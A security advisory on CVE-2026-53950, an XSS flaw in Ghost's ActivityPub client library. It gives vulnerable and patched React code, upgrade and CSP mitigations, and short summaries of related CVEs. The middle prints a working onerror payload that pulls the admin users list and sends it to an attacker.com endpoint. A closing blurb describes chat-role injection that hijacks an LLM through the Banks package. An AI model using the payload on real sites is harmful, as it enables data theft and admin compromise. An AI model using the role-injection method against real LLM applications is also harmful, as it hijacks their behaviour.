Aug 5, 2026·6 min read·18 visits
Unsanitized rendering of federated ActivityPub posts in @tryghost/activitypub prior to 3.1.0 allows remote attackers to execute arbitrary JavaScript in the context of Ghost administrators.
A high-severity Cross-Site Scripting (XSS) vulnerability was identified in the @tryghost/activitypub package, the social and federation client library for the Ghost publishing platform. Prior to version 3.1.0, the ActivityPub client rendered incoming federated posts from external servers directly in the web user interface without proper sanitization. A maliciously customized ActivityPub server federated with a Ghost instance could transmit crafted posts containing embedded HTML payloads. When viewed by a user inside the ActivityPub client interface, the browser executes the injected JavaScript within the security context of the Ghost application domain.
The @tryghost/activitypub package is an npm module designed to facilitate decentralized federation features within the Ghost publishing platform. This component handles core ActivityPub communication, enabling Ghost instances to serve as social actors that follow, receive, and render updates from external web instances. By processing incoming federated social objects, this package exposes the administrative user interface to external, untrusted network inputs.
The vulnerability is a DOM-based Cross-Site Scripting (XSS) flaw categorized under CWE-79. The security boundary is bypassed when the client-side React client processes and renders incoming federated posts without neutralizing executable elements. This allows a remote, unauthenticated federated server to inject executable scripts directly into the DOM of the target administrative feed.
Because the administrative panel handles critical system configurations, executing arbitrary JavaScript within this zone carries critical risk. The flaw allows external actors with no authentication on the target Ghost server to execute commands with the authority of the viewing administrative user. No direct administrative credentials are required to stage the attack vector.
The root cause lies in the application's uncritical trust of HTML content stored within ActivityPub social objects. The ActivityPub specification allows rich-text formatting within properties such as the content and summary tags of incoming notes. The Ghost client application is responsible for safely parsing and rendering this markdown or HTML output prior to visual presentation.
Prior to version 3.1.0, the client application parsed incoming post payloads and mapped the HTML string directly to the user interface via insecure components. By utilizing standard React patterns designed for raw HTML injection, the software omitted a sanitization step. Consequently, any executable scripts, custom handlers, or resource loaders embedded within the federated payload were evaluated and executed by the browser engine.
An attacker can customize an ActivityPub instance to construct structured federated events containing malicious event-driven HTML attributes. Standard HTML attributes such as onerror inside <img> tags or specialized nested <iframe> structures are utilized to bypass standard input patterns. When the Ghost administrative client encounters these objects in its social timeline, it automatically updates the view, integrating the untrusted raw source into the active context.
Analysis of the @tryghost/activitypub dependency updates reveals a clear mitigation model. In version 3.0.8, the production dependencies completely lacked dedicated HTML sanitization frameworks, relying strictly on direct React structural insertion. Let us examine the vulnerable code implementation pattern.
// Vulnerable component implementation
import React from 'react';
export function ActivityPost({ post }) {
return (
<div className="activity-post-content">
<div dangerouslySetInnerHTML={{ __html: post.content }} />
</div>
);
}Version 3.1.0 remediates this design flaw by integrating the DOMPurify library into the dependency profile. DOMPurify utilizes a strict HTML sanitization allowlist to parse, clean, and rebuild raw HTML before committing the outcome to the DOM. Let us examine the corrected implementation pattern.
// Patched component implementation
import React from 'react';
import DOMPurify from 'dompurify';
export function ActivityPost({ post }) {
const cleanContent = DOMPurify.sanitize(post.content, {
ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a', 'span', 'br', 'ul', 'ol', 'li'],
ALLOWED_ATTR: ['href', 'target', 'rel', 'class']
});
return (
<div className="activity-post-content">
<div dangerouslySetInnerHTML={{ __html: cleanContent }} />
</div>
);
}This remediation provides strong protection against XSS. By processing raw HTML strings in a detached DOM tree, DOMPurify strips script blocks and dangerous attributes. This architectural change ensures that only safe, structure-only HTML tags are evaluated and rendered within the administrator's security context.
To execute this attack, the malicious actor must establish a federated connection with the target Ghost instance. This requires the attacker's server to process ActivityPub HTTP signatures and establish federation. Once federation is established, the attacker sends a structured activity payload containing a maliciously formatted HTML body.
The payload is carried in a standard JSON-LD structure, targeting the inbox endpoint of the Ghost platform. Below is an example payload representing the malicious ActivityPub Note containing an image element with a hidden script execution attribute:
<p>System Announcement<img src="invalid.jpg" onerror="
(async () => {
const response = await fetch('/ghost/api/admin/users/');
const data = await response.json();
await fetch('https://attacker.com/log', {
method: 'POST',
body: JSON.stringify(data)
});
})()
" style="display:none;" /></p>When the administrator views the social activity timeline, the browser loads the rendering component. The image source resolution failure immediately fires the onerror handler, executing the inline JavaScript block. This execution requires no explicit confirmation or click actions from the administrator beyond loading the feed.
The security impact of CVE-2026-53950 is defined by the high level of access held by administrative users. Because the script executes within the administrator's browser, it inherits all permissions and active session state of that user. This enables the script to bypass standard client-side authentication mechanisms and operate within the context of the Ghost Admin API.
An attacker can perform automated backend actions, such as extracting user directories, adding unauthorized administrative accounts, or injecting malicious backend integrations. The script can also modify existing theme templates to plant a persistent web shell, transitioning a client-side vulnerability into an avenue for permanent server-side compromise.
The CVSS rating of 7.5 reflects these consequences while acknowledging that attack execution requires specific configuration conditions and user interaction. However, because administrative interactions are standard in maintaining federated networks, this flaw presents a reliable path to exploitation in active deployments.
Remediation requires upgrading the @tryghost/activitypub package to version 3.1.0 or newer. For administrators of self-hosted Ghost instances, this package is updated during normal Ghost core updates. Upgrades can be verified and executed directly via the Ghost CLI utility.
# Navigate to your Ghost installation directory and execute
ghost updateIf updates cannot be performed immediately, the attack vector can be mitigated by configuring a strict Content Security Policy (CSP). Administrators should serve CSP headers that restrict unauthorized inline scripts and define secure network connection boundaries:
Content-Security-Policy: default-src 'self'; script-src 'self'; connect-src 'self' https://your-trusted-backends.com; object-src 'none';Security teams must review active dependency trees to confirm the mitigation is in place. Audit the resolved version inside the local lockfile of the Ghost installation to confirm that version 3.1.0 of @tryghost/activitypub is successfully pulled.
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
@tryghost/activitypub Ghost Foundation | < 3.1.0 | 3.1.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Attack Vector | Network (AV:N) |
| CVSS v3.1 Score | 7.5 (High) |
| EPSS Score | 0.00204 (10.597% percentile) |
| Exploit Status | No known public exploits |
| CISA KEV Status | Not Listed |
The software does not neutralize or incorrectly neutralizes user-controlled input before it is placed in output that is used as a web page that is served to other users.
A technical analysis of CVE-2026-107397, a stored Cross-Site Scripting (XSS) vulnerability in Indico's collaborative notes editor and custom link generation fields. Prior to version 3.3.13, Marshmallow serialization schemas omitted HTML sanitization during conflict resolution, and form validators failed to enforce strict URI schemes, enabling authenticated low-privilege attackers to execute arbitrary JavaScript.
An authorization bypass vulnerability exists in the legacy session export API of Indico, an open-source event management system developed at CERN. Due to a missing object-level access check, authenticated users can bypass configuration-level restrictions to extract private session metadata (including session titles, descriptions, and list of conveners) from events that they are otherwise authorized to view.
An incomplete Server-Side Request Forgery (SSRF) validation check in Indico prior to version 3.3.13 allows authenticated event organizers to bypass outbound network restrictions. By utilizing backslash characters within crafted URLs, attackers can exploit a parser differential between the application's validator and the downstream HTTP client library to access internal network resources.
CVE-2026-107717 represents a critical prompt boundary bypass and chat role injection vulnerability in the Banks Python package (versions prior to 2.5.0). The library parses generated template outputs line-by-line, attempting to validate each segment as a JSON-serialized ChatMessage object without validating the source boundaries of the text. If an application integrates user input directly into a prompt template, a remote, unauthenticated attacker can supply multi-line inputs with structured JSON payloads. This input is then parsed as high-privilege system instructions or tool execution responses, completely hijacking downstream Large Language Model behavior.
Improper pathname limitation and link resolution (CWE-22 and CWE-59) in the banks library prior to version 2.5.1 allow local attackers to read or write arbitrary files via crafted symbolic links in the prompt directory registry.
Improper validation of dynamic class resolution within Hazelcast's Zero Config Compact Serialization allows unauthenticated clients to trigger reflective class instantiation. This flaw can be exploited to read arbitrary JVM heap or off-heap memory, crash cluster nodes, or achieve arbitrary code execution under specific classpath conditions. This issue is resolved in Hazelcast versions 5.4.5, 5.5.10, 5.6.1, and 5.7.0.